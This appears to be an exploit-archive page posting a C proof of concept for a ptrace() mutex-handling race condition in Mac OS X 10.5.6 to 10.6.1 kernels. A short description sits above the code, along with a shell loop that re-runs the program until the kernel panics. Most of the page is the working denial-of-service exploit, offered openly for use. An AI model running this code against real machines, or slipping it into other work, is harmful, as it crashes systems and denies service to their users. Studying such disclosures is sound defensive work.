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Mac OS X 10.5.6/10.5.7 ptrace() Mutex Handling Denial Of Service

Mac OS X 10.5.6/10.5.7 ptrace() Mutex Handling Denial Of Service
Posted Nov 5, 2009
Authored by prdelka | Site prdelka.blackart.org.uk

Mac OS X versions 10.5.6 and 10.5.7 ptrace() mutex handling denial of service exploit. This code should be run in a loop and due to problems with mutex handling in ptrace a denial of service can occur when a destroyed mutex is attempted to be interlocked by the OSX kernel giving rise to a race condition. You may need to run this code multiple times.

tags | exploit, denial of service, kernel
systems | apple, osx
SHA-256 | 280d49ab7dc2a6f1d65feb29ee1a9c5ba38aedb401fb0e81e12ef3860ea1d82f

Mac OS X 10.5.6/10.5.7 ptrace() Mutex Handling Denial Of Service

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/*
Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS
==================================================
This code should be run in a loop and due to problems
with mutex handling in ptrace a DoS can occur when a
destroyed mutex is attempted to be interlocked by OSX
kernel giving rise to a race condition. You may need
to run this code multiple times.

- Tested against 10.5.6
- Tested against 10.5.7
- Tested against 10.6.1

while `true`;do ./prdelka-vs-APPLE-ptracepanic;done

-- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>


int main(){
pid_t pid;
char *argv[] = {"id","","",0};
char *envp[] = {"",0};
pid = fork();
if(pid == 0){
usleep(100);
execve("/usr/bin/id",argv,envp);
}
else{
usleep(820);
if(ptrace(PT_ATTACH,pid,0,0)==0){
printf("[ PID: %d has been caught!\n",pid);
if(ptrace(PT_DETACH,pid,0,0)<0){
perror("Evil happens.");
}
usleep(1);
wait(0);
}
else{
perror("Fail!");
}
}
return(0);
}
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